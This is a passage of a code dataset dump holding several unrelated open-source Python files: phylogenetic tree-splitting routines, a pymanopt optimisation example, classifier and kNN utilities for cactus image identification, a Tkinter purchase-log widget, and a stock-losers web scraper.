range(0, len(translatedQuartets)):\n            translatedQuartets[i] = self.sortQuartet(translatedQuartets[i])\n        return translatedQuartets\n\n    def sortQuartet(self, quartet):\n        q1 = quartet[0]\n        if len(quartet[0]) == 2:\n            q2 = quartet[1]\n            if q1[0] > q1[1]:\n                q1 = (q1[1], q1[0])\n\n            if q2[0] > q2[1]:\n                q2 = (q2[1], q2[0])\n\n            if (q2[0] > q1[0] and q2[0] > q1[1]) or (q2[1] > q1[0] and q2[1] > q1[1]):\n                return (q1, q2)\n            else:\n                return (q2, q1)\n        else:\n            q1.sort()\n            return (((q1[0], q1[1], q1[2], q1[3]),))\n\n    def buildQuartetsFromUnresolvedTaxa(self, unresolved, allTaxa):\n        if len(unresolved) < 3:\n            print('Not a happy camper, less than four taxa in unresolved')\n\n#        print unresolved\n        unique = []\n        for taxa in allTaxa:\n            add = True\n            for t in unresolved:\n                if taxa == t[0]:\n                    add = False\n            if add:\n                unique.append(taxa)\n\n        quartets = []\n#        for i in range(0, len(unresolved)):\n#            for j in range(i+1, len(unresolved)):\n#                for k in range(j+1, len(unresolved)):\n#                    quartets.extend(self.buildQuartetsFromUnresolvedTrio([unresolved[i],unresolved[j],unresolved[k]], allTaxa))\n        for i in range(0, len(unresolved)):\n            for j in range(i + 1, len(unresolved)):\n                for k in range(j + 1, len(unresolved)):\n                    for l in unique:\n                        quartets.append(\n                            ([unresolved[i][0], unresolved[j][0], unresolved[k][0], l],))\n#        print quartets\n#        print ''\n        return quartets\n\n    def buildQuartetsFromUnresolvedTrio(self, trio, allTaxa):\n        t1 = trio[0][0]\n        t2 = trio[1][0]\n        t3 = trio[2][0]\n        newTrio = (t1, t2, t3)\n        quartets = []\n        for taxa in allTaxa:\n            if not taxa in newTrio:\n                quartets.append(([t1, t2, t3, taxa],))\n        return quartets\n\n    def buildQuartetsFrom2Lists(self, taxa, otherTaxa):\n        taxaPairs = []\n        for i in range(0, len(taxa)):\n            for j in range(i + 1, len(taxa)):\n                taxaPairs.append((taxa[i], taxa[j]))\n        otherTaxaPairs = []\n        for i in range(0, len(otherTaxa)):\n            for j in range(i + 1, len(otherTaxa)):\n                otherTaxaPairs.append((otherTaxa[i], otherTaxa[j]))\n        quartets = []\n        for pair in taxaPairs:\n            for otherPair in otherTaxaPairs:\n                quartets.append((pair, otherPair))\n\n        return quartets\n\n    def getQuartetSetTest(self, dict, rooted, tree):\n        for node in tree.iterNodesNoRoot():\n            #            print 'node.nodeNum: %s' % (node.nodeNum)\n            if node.parent.leftChild == node:\n                names, unresolved = self.getSubtreeTaxNames(tree, node)\n#                print 'len(unresolved) 1'\n#                print len(unresolved)\n#                print unresolved\n                if len(unresolved) <= 2:\n                    names.extend(unresolved)\n                    print('Names: ')\n                    print(names)\n                    tuples = self.buildQuartetsFromLists(names, dict)\n                else:\n                    print('Names: ')\n                    print(names)\n                    tuples = self.buildQuartetsFromLists(names, dict)\n#                    print 'Building triplets from unresolved'\n                    print('Unresolved: ')\n                    print(unresolved)\n                    tuples.extend(\n                        self.buildQuartetsFromUnresolved(unresolved, dict))\n            else:\n                if not node.isLeaf:\n                    names, unresolved = self.getSiblingTaxNames(tree, node)\n#                    print 'len(unresolved) 2'\n#                    print len(unresolved)\n#                    print unresolved\n                    if len(unresolved) <= 2:\n                        names.extend(unresolved)\n                        print('Names: ')\n                        print(names)\n                        tuples = self.buildQuartetsFromLists(names, dict)\n                    else:\n                        print('Names: ')\n                        print(names)\n                        tuples = self.buildQuartetsFromLists(names, dict)\n#                        print 'Building triplets from unresolved'\n                        print('Unresolved: ')\n                        print(unresolved)\n                        tuples.extend(\n                            self.buildQuartetsFromUnresolved(unresolved, dict))\n#                tuples = self.buildTripletsFromLists(names)\n            self.added += len(tuples)\n            for t in tuples:\n                self.set.add(t)\n        list = []\n        for t in self.set:\n            list.append(t)\n\n        return list\n\n    def buildQuartetsFromLists(self, list, dict):\n        quartets = []\n        for i in range(0, len(list)):\n            for j in range(i + 1, len(list)):\n                possibles1 = self._allPossiblePairs(list[i])\n                possibles2 = self._allPossiblePairs(list[j])\n                quartets.extend(self._combineLists(possibles1, possibles2))\n        print(quartets)\n        return quartets\n\n    def buildQuartetsFromUnresolved(self, list, dict):\n        quartets = []\n        if len(list) < 4:\n            print('Unresolved list to short')\n        for i in range(0, len(list) - 2):\n            for j in range(i + 1, len(list) - 1):\n                for k in range(j + 1, len(list)):\n                    for l in range(k + 1, len(list)):\n                        list = []\n                        list.append(dict[list[i]])\n                        list.append(dict[list[j]])\n                        list.append(dict[list[k]])\n                        list.append(dict[list[l]])\n                        list.sort()\n                        quartets.append(\n                            ((list[0], list[1], list[2], list[3]),))\n        print(quartets)\n        return quartets\n\n    def combineLists(self, list1, list2, dict):\n        tuples = []\n        for i in list1:\n            for j in list2:\n\n                list = []\n                list.append(dict[i[0]])\n                list.append(dict[i[1]])\n                list.sort()\n                list1 = []\n#                        print j[0]\n                list1.append(dict[j][0])\n                list1.append(dict[j][1])\n                list1.sort()\n                tuples.append(((list[0], list[1]), (list1[0], list1[1])))\n#        print 'len(combined): %s' % (len(tuples))\n        return tuples\n\n    def stripQuartetSetFromTree(self, tree):\n        ss = SplitStripper()\n        splitSet, self.taxa2id, self.index = ss.getSplitsFromTree(tree)\n        for s in splitSet:\n            possibles1 = self._allPossiblePairs(s[0])\n            possibles2 = self._allPossiblePairs(s[1])\n            list = self._combineLists(possibles1, possibles2)\n            for q in list:\n                self.set.add(q)\n\n    def getQuartetSetFromSplits(self, splits):\n        for s in splits:\n            possibles1 = self._allPossiblePairs(s[0])\n            possibles2 = self._allPossiblePairs(s[1])\n            list = self._combineLists(possibles1, possibles2)\n            for q in list:\n                self.set.add(q)\n        return self.set\n\n    def _allPossiblePairs(self, list):\n        if len(list) < 2:\n            print('No possible pairs, uninformative split')\n        if len(list) == 2:\n            return [(list[0], list[1])]\n        possibles = []\n        for i in range(0, len(list) - 1):\n            for j in range(i + 1, len(list)):\n                possibles.append((list[i], list[j]))\n#        print 'len(possibles): %s' % (len(possibles))\n        return possibles\n\n    def _combineLists(self, list1, list2):\n        combined = []\n        for i in list1:\n            if len(i) == 2:\n                for j in list2:\n                    if len(j) == 2:\n                        if i < j:\n                            combined.append((i, j))\n                        else:\n                            combined.append((j, i))\n        return combined\n\n\nclass CladeStripper(TreeStripper):\n\n    def getCladesFromTree(self, tree):\n        for node in tree.iterNodesNoRoot():\n            if node.parent.leftChild == node:\n                names, unresolved = self.getSubtreeTaxNames(tree, node)\n                names.extend(unresolved)\n#                print 'names'\n#                print names\n#                print 'unresolved'\n#                print unresolved\n#\n                tuples = []\n                for i in names:\n                    if len(i) > 1:\n                        list = []\n                        for name in i:\n                            list.append(name)\n                        list.sort()\n                        tuple = ()\n                        for name in list:\n                            tuple = tuple + (name,)\n                        tuples.append(tuple)\n\n            else:\n                #                print '2A'\n                if not node.isLeaf:\n                    #                    print '2AA'\n                    names, unresolved = self.getSiblingTaxNames(tree, node)\n                    names.extend(unresolved)\n#                    print 'names'\n#                    print names\n#                    print 'unresolved'\n#                    print unresolved\n                    tuples = []\n                    for i in names:\n                        if len(i) > 1:\n                            list = []\n                            for name in i:\n                                list.append(name)\n                            list.sort()\n                            tuple = ()\n                            for name in list:\n                                tuple = tuple + (name,)\n                            tuples.append(tuple)\n\n            for t in tuples:\n                self.set.add(t)\n        list = []\n        for t in self.set:\n            list.append(t)\n\n        return list\n\n\nclass SplitStripper(TreeStripper):\n\n    def getSplitsFromTree(self, tree):\n\n        for node in tree.iterLeavesNoRoot():\n            self.taxa2id[node.name] = self.index\n            self.index += 1\n\n        seT = set()\n        if not tree._taxNames:\n            tree._setTaxNamesFromLeaves()\n        for name in tree.taxNames:\n            seT.add(name)\n        list = []\n        for name in seT:\n            list.append(name)\n        list.sort()\n        dict = {}\n        rdict = {}\n        self.bitkeys = []\n        for i in range(len(list)):\n            self.bitkeys.append(1 << i)\n            dict[list[i]] = 1 << i\n            rdict[1 << i] = list[i]\n\n        for n in tree.iterLeavesNoRoot():\n            n.br.rc = dict[n.name]\n\n        tree._makeRCSplitKeys()\n        tree.splits = []\n        for n in tree.iterInternalsNoRoot():\n            tree.splits.append(n.br.rc)\n\n        for s in tree.splits:\n            tuple1 = ()\n            tuple2 = ()\n            for i in self.bitkeys:\n                if i & s:\n                    tuple1 = tuple1 + (rdict[i],)\n                else:\n                    tuple2 = tuple2 + (rdict[i],)\n\n            list = []\n            list.append(tuple1)\n            list.append(tuple2)\n            list.sort()\n\n            self.set.add((list[0], list[1]))\n\n        return self.set, self.taxa2id, self.index\n\n    def buildInformativeSplitsFromTree(self, tree, taxnames):\n\n        dict = {}\n        rdict = {}\n        self.bitkeys = []\n        for i in range(len(taxnames)):\n            self.bitkeys.append(1 << i)\n            dict[taxnames[i]] = 1 << i\n            rdict[1 << i] = taxnames[i]\n\n        for n in tree.iterLeavesNoRoot():\n            n.br.rc = dict[n.name]\n\n        tree._makeRCSplitKeys()\n        tree.splits = []\n        for n in tree.iterInternalsNoRoot():\n            tree.splits.append(n.br.rc)\n\n        return self.bitkeys\n\n        if 0:\n            splits = []\n            for s in tree.splits:\n                tuple1 = ()\n                for i in self.bitkeys:\n                    if i & s:\n                        tuple1 = tuple1 + (rdict[i],)\n\n                splits.append(tuple1)\n\n            for i in splits:\n                print(i)\n\n            return splits\n","repo_name":"pgfoster/p4-phylogenetics","sub_path":"p4/leafsupport.py","file_name":"leafsupport.py","file_ext":"py","file_size_in_byte":103059,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"60"}
+{"seq_id":"24257867410","text":"import autograd.numpy as np\nimport tensorflow as tf\nimport torch\nfrom numpy import linalg as la\nfrom numpy import random as rnd\n\nimport pymanopt\nfrom examples._tools import ExampleRunner\nfrom pymanopt.manifolds import PSDFixedRank\nfrom pymanopt.solvers import TrustRegions\n\n\nSUPPORTED_BACKENDS = (\"Autograd\", \"Callable\", \"PyTorch\", \"TensorFlow\")\n\n\ndef create_cost_egrad_ehess(manifold, matrix, backend):\n    egrad = ehess = None\n\n    if backend == \"Autograd\":\n\n        @pymanopt.function.Autograd(manifold)\n        def cost(Y):\n            return np.linalg.norm(Y @ Y.T - matrix, \"fro\") ** 2\n\n    elif backend == \"Callable\":\n\n        @pymanopt.function.Callable(manifold)\n        def cost(Y):\n            return la.norm(Y @ Y.T - matrix, \"fro\") ** 2\n\n        @pymanopt.function.Callable(manifold)\n        def egrad(Y):\n            return 4 * (Y @ Y.T - matrix) @ Y\n\n        @pymanopt.function.Callable(manifold)\n        def ehess(Y, U):\n            return 4 * ((Y @ U.T + U @ Y.T) @ Y + (Y @ Y.T - matrix) @ U)\n\n    elif backend == \"PyTorch\":\n        matrix_ = torch.from_numpy(matrix)\n\n        @pymanopt.function.PyTorch(manifold)\n        def cost(Y):\n            X = torch.matmul(Y, torch.transpose(Y, 1, 0))\n            return torch.norm(X - matrix_) ** 2\n\n    elif backend == \"TensorFlow\":\n\n        @pymanopt.function.TensorFlow(manifold)\n        def cost(Y):\n            X = tf.matmul(Y, tf.transpose(Y))\n            return tf.norm(X - matrix) ** 2\n\n    else:\n        raise ValueError(f\"Unsupported backend '{backend}'\")\n\n    return cost, egrad, ehess\n\n\ndef run(backend=SUPPORTED_BACKENDS[0], quiet=True):\n    num_rows = 1000\n    rank = 5\n    low_rank_factor = rnd.randn(num_rows, rank)\n    matrix = low_rank_factor @ low_rank_factor.T\n\n    manifold = PSDFixedRank(num_rows, rank)\n    cost, egrad, ehess = create_cost_egrad_ehess(manifold, matrix, backend)\n    problem = pymanopt.Problem(manifold, cost=cost, egrad=egrad, ehess=ehess)\n    if quiet:\n        problem.verbosity = 0\n\n    solver = TrustRegions(maxiter=500, minstepsize=1e-6)\n    low_rank_factor_estimate = solver.solve(problem)\n\n    if quiet:\n        return\n\n    print(\"Rank of target matrix:\", la.matrix_rank(matrix))\n    matrix_estimate = low_rank_factor_estimate @ low_rank_factor_estimate.T\n    print(\n        \"Frobenius norm error of low-rank estimate:\",\n        la.norm(matrix - matrix_estimate),\n    )\n\n\nif __name__ == \"__main__\":\n    runner = ExampleRunner(\n        run, \"Low-rank PSD matrix approximation\", SUPPORTED_BACKENDS\n    )\n    runner.run()\n","repo_name":"pauljasonthomas/pymanopt","sub_path":"examples/low_rank_psd_matrix_approximation.py","file_name":"low_rank_psd_matrix_approximation.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"72250828032","text":"# -*- coding: utf-8 -*-\r\n\r\nimport os\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.image as mpimg\r\nimport csv\r\nimport numpy as np\r\nimport cv2\r\nimport time\r\n\r\ndef rgb2gray(rgb):\r\n    return np.dot(rgb[...,:3], [0.2989, 0.5870, 0.1140])\r\n\r\ndef load_images_labels(img_folder, label_file):\r\n    with open(label_file) as f:\r\n        reader = csv.reader(f)\r\n        next(reader) # skip header\r\n        labels = []\r\n        images = []\r\n        for row in reader:\r\n            img_filename = row[0]\r\n            img = cv2.imread(os.path.join(img_folder,img_filename), 0)\r\n            if img is not None:\r\n                images.append(img.flatten()/255)\r\n                labels.append(int(row[1]))\r\n        return np.array(images), np.array(labels)\r\n    \r\n#transform data using PCA\r\ndef PCA(X, error):\r\n    \r\n    # calculate covariance matrix of transpose of X\r\n    X_cov = np.cov(X.T)\r\n    eig_vals, eig_vects = np.linalg.eig(X_cov)\r\n    \r\n    # rank eigenvectors and values from highest to lowest\r\n    idx = eig_vals.argsort()[::-1]   \r\n    eig_vals = eig_vals[idx]\r\n    eig_vects = eig_vects[:,idx]\r\n    \r\n    # sum eigenvalues\r\n    sigma_lamda = np.sum(eig_vals)\r\n    \r\n    basis_i = 0  \r\n    \r\n    # select axes with error rate < error\r\n    for i in range(len(eig_vals)-1, -1, -1):\r\n        \r\n        vals_sum = np.sum(eig_vals[i:])\r\n        \r\n        if (vals_sum/sigma_lamda >= error):\r\n            basis_i = i\r\n            break\r\n    \r\n    # multiply dataset by optimal basis \r\n    P = np.dot(eig_vects[:, :basis_i+1].T , X.T)  \r\n    \r\n    return P.T\r\n\r\n# function for printing confusion matrix and performance metrics\r\ndef get_metrics(y_pred, y_truth, print_metrics = False):\r\n    tn = 0\r\n    tp = 0 \r\n    fn = 0 \r\n    fp = 0\r\n    \r\n    for i in range(len(y_pred)):\r\n        #calc TP\r\n        if y_pred[i] == 1 and y_truth[i] == 1:\r\n            tp += 1\r\n    \r\n        #calc TN \r\n        if y_pred[i] == 0 and y_truth[i] == 0:\r\n            tn += 1\r\n    \r\n        #calc FP\r\n        if y_pred[i] == 1 and y_truth[i] == 0:\r\n            fp += 1\r\n    \r\n        #calc FN\r\n        if y_pred[i] == 0 and y_truth[i] == 1:\r\n            fn += 1\r\n    \r\n    if (print_metrics):\r\n        # print confusion matrix\r\n        print('\\t\\tPredicted Class')\r\n        print('True Class\\t', 'No', '\\tYes')\r\n        print('No\\t\\t', tn, '\\t', fp)\r\n        print('Yes\\t\\t', fn, '\\t', tp )\r\n        print()\r\n    \r\n    if (tn + tp + fn + fp) == 0.0:\r\n        accuracy = 0.0\r\n    else:\r\n        accuracy = (tn + tp) / (tn + tp + fn + fp)\r\n    \r\n    if (tp + fn) == 0.0:\r\n        sensitivity = 0.0\r\n    else:\r\n        sensitivity = tp / (tp + fn)  \r\n    \r\n    if (tp + fp) == 0.0:\r\n        precision = 0.0\r\n    else:\r\n        precision = tp / (tp + fp)\r\n    \r\n    if (tn + fp) == 0.0:\r\n        specificity = 0.0\r\n    else:\r\n        specificity = tn / (tn + fp)\r\n    if print_metrics:\r\n        print('Accuracy', accuracy)\r\n        print('Sensitivity', sensitivity)\r\n        print('Precision', precision)\r\n        print('Specificity', specificity)\r\n    \r\n    return accuracy, sensitivity, precision, specificity, tp, tn, fp, fn\r\n\r\n# function for finding MLE mean\r\ndef mle_mean(data):\r\n    n = len(data)\r\n    mean = np.sum(data, axis=0)/n\r\n    return mean\r\n\r\n# function for calculating covariance using MLE given mu\r\ndef mle_covariance(data, mu):\r\n    \r\n    n = len(data)\r\n    diff = data - mu\r\n    diff = diff.T\r\n    product = np.matmul(diff, diff.T)\r\n    covariance = product/n\r\n    \r\n    return covariance\r\n\r\n# main maximum a-posteriori probability method\r\n# returns test accuracy given test dataset and parameters\r\ndef mpp(X_train, y_train, X_test, prior_class_0, prior_class_1, case):\r\n    \r\n    # get dimension of data\r\n    if X_train.ndim == 1:\r\n        d = 1\r\n        X_train = X_train.reshape(len(X_train), 1)\r\n    else:\r\n        d = X_train.shape[1]\r\n        \r\n    #print('d', d)\r\n    \r\n    # split training data into classes\r\n    X_train_class_0 = X_train[y_train[:] == 0.0]\r\n    X_train_class_1 = X_train[y_train[:] == 1.0]\r\n    \r\n    # predict class for each value in test dataset\r\n    y_pred = []\r\n    \r\n    count = 0 \r\n    for x in X_test:\r\n        if count % 1000 == 0:\r\n            print(count)\r\n        count += 1\r\n        \r\n        x = x.reshape(d,1)\r\n        \r\n        # Case 1: Assume Gaussian PDF, covariance matrices are same, & independent features\r\n        # Also known Euclidean Norm or Minimum Distance Classifier\r\n        if case == 1:\r\n            # get MLE mean for individual classes\r\n            mean = mle_mean(X_train).reshape(d,1)\r\n            mean_class_0 = mle_mean(X_train_class_0).reshape(d,1)\r\n            mean_class_1 = mle_mean(X_train_class_1).reshape(d,1)\r\n            # calculate single covariance matrix\r\n            #print('calc cov')\r\n            cov_mat = mle_covariance(X_train, mean.T)#np.cov(X_train[:,0], X_train[:,1])\r\n            \r\n            # calculate discriminant function for class 0\r\n            v = x - mean_class_0\r\n            g0 = -0.5*np.matmul(v.T, v)/cov_mat[0,0] + np.log(prior_class_0)\r\n\r\n            # calculate discriminant function for class 1\r\n            v = x - mean_class_1\r\n            g1 = -0.5*np.matmul(v.T, v)/cov_mat[0,0] + np.log(prior_class_1)\r\n            \r\n        # Case 2: Assume Gaussian PDF & covariance matrices are same\r\n        # Also known Squared Mahalanobis Distance Classifier\r\n        elif case == 2:\r\n            # get MLE mean for individual classes\r\n            mean = mle_mean(X_train).reshape(d,1)\r\n            mean_class_0 = mle_mean(X_train_class_0).reshape(d,1)\r\n            mean_class_1 = mle_mean(X_train_class_1).reshape(d,1)\r\n            \r\n            # calculate single covariance matrix\r\n            cov_mat = mle_covariance(X_train, mean.T)#cov_mat = np.cov(X_train[:,0], X_train[:,1])\r\n            invC = np.linalg.inv(cov_mat)\r\n            \r\n            # calculate discriminant function for class 0\r\n            v = x - mean_class_0\r\n            g0 = -0.5*np.matmul(np.matmul(v.T, invC), v) + np.log(prior_class_0)\r\n\r\n            # calculate discriminant function for class 1\r\n            v = x - mean_class_1\r\n            g1 = -0.5*np.matmul(np.matmul(v.T, invC), v) + np.log(prior_class_1)\r\n\r\n        # Case 3: Assume Gaussian PDF only\r\n        # Equivalent of MPP method\r\n        else:\r\n            \r\n            # get MLE mean for individual classes\r\n            mean = mle_mean(X_train).reshape(d,1)\r\n            mean_class_0 = mle_mean(X_train_class_0).reshape(d,1)\r\n            mean_class_1 = mle_mean(X_train_class_1).reshape(d,1)\r\n            \r\n            # calculate covariance matrices for both classes\r\n            #print(X_train_class_0, mean_class_0.T)\r\n            cov_mat0 = mle_covariance(X_train_class_0, mean_class_0.T)\r\n            cov_mat1 = mle_covariance(X_train_class_1, mean_class_1.T)\r\n            \r\n            # calculate discriminant function for class 0\r\n            v = x - mean_class_0\r\n            invC = np.linalg.inv(cov_mat0)\r\n            #print(np.linalg.det(cov_mat0))\r\n            g0 = -0.5*np.matmul(np.matmul(v.T, invC), v) - 0.5*np.log(np.linalg.det(cov_mat0)) + np.log(prior_class_0)\r\n            # calculate discriminant function for class 1\r\n            v = x - mean_class_1\r\n            invC = np.linalg.inv(cov_mat1)\r\n            g1 = -0.5*np.matmul(np.matmul(v.T, invC), v) - 0.5*np.log(np.linalg.det(cov_mat1)) + np.log(prior_class_1)\r\n        \r\n        # append classification \r\n        if g0 > g1:\r\n            y_pred.append(0.0)\r\n        else:\r\n            y_pred.append(1.0)\r\n            \r\n    return y_pred\r\n\r\n# function for training MPP classifier with 5-fold cross validation\r\ndef train_mpp_with_validation(X_train, y_train, prior_class_0, prior_class_1, case, folds=5):  \r\n    \r\n    accuracies = []\r\n    models = []\r\n    \r\n    # k fold cross validation\r\n    for f in range(0, folds):\r\n        print('fold', f)\r\n\r\n        n = len(X_train)\r\n        split_ind_start = int (f * n / folds) \r\n        split_ind_stop  = int ((f+1) * n / folds)\r\n            \r\n\r\n        if f == 0:\r\n            X_train_tmp = X_train[int(split_ind_stop):]\r\n            y_train_tmp = y_train[int(split_ind_stop):]\r\n\r\n        elif f == folds-1:\r\n            X_train_tmp = X_train[:int(split_ind_start)]\r\n            y_train_tmp = y_train[:int(split_ind_start)]\r\n\r\n        else:\r\n            if X_train.ndim != 1:\r\n                X_train_tmp = np.concatenate([X_train[:int(split_ind_start)], X_train[int(split_ind_stop):]], axis = 0)\r\n                y_train_tmp = np.concatenate([y_train[:int(split_ind_start)], y_train[int(split_ind_stop):]], axis = 0)\r\n            else:\r\n                X_train_tmp = np.concatenate((X_train[:int(split_ind_start)], X_train[int(split_ind_stop):]))\r\n                y_train_tmp = np.concatenate((y_train[:int(split_ind_start)], y_train[int(split_ind_stop):]))\r\n\r\n\r\n        X_valid = X_train[int(split_ind_start):int(split_ind_stop)]\r\n        y_valid = y_train[int(split_ind_start):int(split_ind_stop)]\r\n        \r\n        # MPP Case 1\r\n        if case == 1:\r\n            y_pred_valid = mpp(X_train, y_train, X_valid, prior_class_0, prior_class_1, case)\r\n        \r\n        # MPP Case 2\r\n        elif case == 2:\r\n            y_pred_valid = mpp(X_train, y_train, X_valid, prior_class_0, prior_class_1, case)\r\n        \r\n        # MPP Case 3\r\n        else:\r\n            y_pred_valid = mpp(X_train, y_train, X_valid, prior_class_0, prior_class_1, case)\r\n            \r\n        performance_metrics = get_metrics(y_valid, y_pred_valid)\r\n        accuracy = performance_metrics[0]\r\n        print('Fold', f + 1, 'accuracy:', accuracy)\r\n        accuracies.append(accuracy)\r\n        models.append(performance_metrics)\r\n        \r\n    print('Mean validation accuracy:', np.mean(accuracies))\r\n    \r\n    mean_performance_metrics = np.mean(np.array(models), axis = 0)\r\n    \r\n    return mean_performance_metrics\r\n\r\n# function for calculating Euclidean distance\r\ndef euc_dist(x, y):\r\n    \r\n    diff = x-y\r\n    \r\n    if(diff.ndim == 1):\r\n        return np.abs(diff)\r\n    \r\n    return np.linalg.norm(diff, axis = 1)\r\n\r\n# k-nearest neighbors implementation\r\ndef knn(X, y, X_te, prior_class_0, prior_class_1, k):\r\n    \r\n    start_time = time.time()\r\n    \r\n    predictions = np.zeros(len(X_te))\r\n    \r\n    indices = np.array([ind for ind in range(len(X))])\r\n    \r\n    prior_class_0_actual = len(X[y[:] == 0.0])/len(X)\r\n    prior_class_1_actual = len(X[y[:] == 1.0])/len(X)\r\n    \r\n    for i in range(len(X_te)):\r\n        s = euc_dist(X_te[i], X)\r\n        s = np.column_stack((indices, s))\r\n        s = s[s[:,1].argsort()]\r\n        \r\n        # get k nearest neighbors\r\n        knns = s[:k]\r\n        classes = []\r\n        \r\n        for ind in knns[:,0]:\r\n            classes.append(int(y[int(ind)]))\r\n    \r\n        k_0 = classes.count(0)\r\n        \r\n        n = len(X)\r\n        \r\n        r_0 = prior_class_0 * prior_class_0_actual\r\n        \r\n        g_0 = k_0 / k * r_0\r\n        \r\n        k_1 = classes.count(1)\r\n    \r\n        g_1 = k_1 / k * (1.0 - prior_class_0_actual * r_0)\r\n    \r\n        predictions[i] = g_0 < g_1\r\n    \r\n    end_time = time.time()\r\n    \r\n    print(\"Elapsed Time:\", end_time - start_time)\r\n    \r\n    return predictions\r\n\r\ndef train_knn_with_validation(X_train, y_train, prior_class_0, prior_class_1, k, folds=5):  \r\n    \r\n    accuracies = []\r\n    models = []\r\n    \r\n    # k fold cross validation\r\n    for f in range(0, folds):\r\n\r\n        n = len(X_train)\r\n        split_ind_start = int (f * n / folds) \r\n        split_ind_stop  = int ((f+1) * n / folds)\r\n            \r\n\r\n        if f == 0:\r\n            X_train_tmp = X_train[int(split_ind_stop):]\r\n            y_train_tmp = y_train[int(split_ind_stop):]\r\n\r\n        elif f == folds-1:\r\n            X_train_tmp = X_train[:int(split_ind_start)]\r\n            y_train_tmp = y_train[:int(split_ind_start)]\r\n\r\n        else:\r\n            if X_train.ndim != 1:\r\n                X_train_tmp = np.concatenate([X_train[:int(split_ind_start)], X_train[int(split_ind_stop):]], axis = 0)\r\n                y_train_tmp = np.concatenate([y_train[:int(split_ind_start)], y_train[int(split_ind_stop):]], axis = 0)\r\n            else:\r\n                X_train_tmp = np.concatenate((X_train[:int(split_ind_start)], X_train[int(split_ind_stop):]))\r\n                y_train_tmp = np.concatenate((y_train[:int(split_ind_start)], y_train[int(split_ind_stop):]))\r\n\r\n        X_valid = X_train[int(split_ind_start):int(split_ind_stop)]\r\n        y_valid = y_train[int(split_ind_start):int(split_ind_stop)]\r\n        \r\n        # KNN\r\n        y_pred_valid = knn(X_train_tmp, y_train_tmp, X_valid, prior_class_0, prior_class_1, k)\r\n        \r\n        performance_metrics = get_metrics(y_valid, y_pred_valid)\r\n        accuracy = performance_metrics[0]\r\n        print('Fold', f + 1, 'accuracy:', accuracy)\r\n        accuracies.append(accuracy)\r\n        models.append(performance_metrics)\r\n    \r\n    print('Mean validation accuracy:', np.mean(accuracies))\r\n    \r\n    mean_performance_metrics = np.mean(np.array(models), axis = 0)\r\n    \r\n    return mean_performance_metrics","repo_name":"herronej/Aerial-Cactus-Identification","sub_path":"Utilities.py","file_name":"Utilities.py","file_ext":"py","file_size_in_byte":13031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37113385570","text":"from Tkinter import *\nfrom ttk import *\nfrom TableTree import MultiListbox\n\n\nsty = N+S+E+W\n\nclass Purchase_Log(Frame):\n    def __init__(self,master,db):\n        Frame.__init__(self,master)\n        self.master = master\n        self.db = db\n        self.date ={}\n        self.mlb = MultiListbox(master,((\"Purchase Date\",40),(\"Product Name\",40),(\"Quantity Brought\",20),(\"Cost Price\",30)))\n        self.mlb.grid(row = 0,column = 0,sticky = sty)\n        self.assign()\n\n    def assign(self):\n        row = self.db.sqldb.execute(\"\"\"SELECT purchase_date,product_name,QTY,cost FROM purchase\n                                JOIN costs USING (cost_id) JOIN products USING (product_id) \"\"\")\n        a = row.fetchall()\n        for i in a :\n            self.mlb.insert(END,i)\n\n\n\n\n\n","repo_name":"SouravDas25/IMS-2.0","sub_path":"Src/PurchaseLog.py","file_name":"PurchaseLog.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"60"}
+{"seq_id":"6912992126","text":"import requests\nimport lxml.html as lh\nimport pandas as pd\nfrom csv import writer\nfrom csv import reader\nfrom pandas_datareader import data\nfrom selenium import webdriver\nfrom config import keys\nimport json\n\ndef get_losers(url):\n    webpage = requests.get(url)\n    webpage_content = lh.fromstring(webpage.content)\n    tr_elements = webpage_content.xpath('//tr')\n\n    # getting table headers\n    col = []\n    i = 0\n    desired_headers = [tr_elements[0][idx] for idx in [0, 2, 4]]\n    for cell in desired_headers:\n        i += 1\n        name = cell.text_content()\n        col.append((name,[]))\n\n    col.append((\"Day 2 High %\", []))\n    col.append((\"Day 3 High %\", []))\n    col.append((\"Day 4 High %\", []))\n    col.append((\"Day 5 High %\", []))\n    col.append((\"Day 6 High %\", []))\n    col.append((\"Day 7 High %\", []))\n\n    for idx in range(1, 12):\n        row = tr_elements[idx]\n        if len(row) != 10:\n            continue\n\n        i = 0\n        for cell in [row[idx] for idx in [0, 2, 4]]:\n            data = cell.text_content()\n            if data != \"\":\n                try:\n                    data = float(data)\n                except:\n                    pass\n            col[i][1].append(data)\n            i += 1\n        for j in range(3, 9):\n            col[i][1].append(0)\n            i += 1\n\n    dict = {title:column for (title, column) in col}\n    df = pd.DataFrame(dict)\n    return df\n\ndef add_rows_to_document(new_rows, document):\n\n    with open(document, 'r') as reader:\n        prev_num_of_rows = len(reader.readlines())\n    with open(document, 'a') as file:\n        new_rows.to_csv(file, header=True, index=False)\n        # has now appended new rows to the document\n    return prev_num_of_rows\n\ndef track_progress_of_stocks(drive, stopping_point, document):\n\n    with open(document, 'r') as reader, \\\n        open(document, 'w', newline='') as writer:\n        drive.get('https://www.google.com/search?q=google')\n        df = pd.read_csv(document)\n        row_count = 0\n        for idx in range(len(df[1:])):\n            if row_count < stopping_point:\n                drive.find_element_by_xpath('//*[@id=\"tsf\"]/div[2]/div[1]/div[1]/div/div[1]/input').send_keys(df.loc[idx]['Symbol'] + ' stock').send_keys(Keys.RETURN)\n                highest_price = drive.find_element_by_xpath('//*[@id=\"knowledge-finance-wholepage__entity-summary\"]/div/div/g-card-section[2]/div/div/div[1]/table/tbody/tr[2]/td[2]').text\n                percentage_change = int(10000*(highest_price - df.loc[idx]['Price (Intraday)']) / highest_price)/100\n                i = 0\n                while df.loc[idx][i] != \"\" and i < 10:\n                    i += 1\n                if i != 10:\n                    df.loc[idx][i] = percentage_change\n            else:\n                break\n        df.to_csv(document, header=True, index=False)\n\n    return\n\nif __name__ == '__main__':\n\n    doc_path = keys[\"csv_path\"]\n    loser_data = get_losers('https://finance.yahoo.com/losers/')\n    num_of_rows_from_before = add_rows_to_document(loser_data, doc_path)\n    # driver = webdriver.Chrome(keys[\"chromedriver_path\"])\n    # track_progress_of_stocks(driver, num_of_rows_from_before, doc_path)\n    # 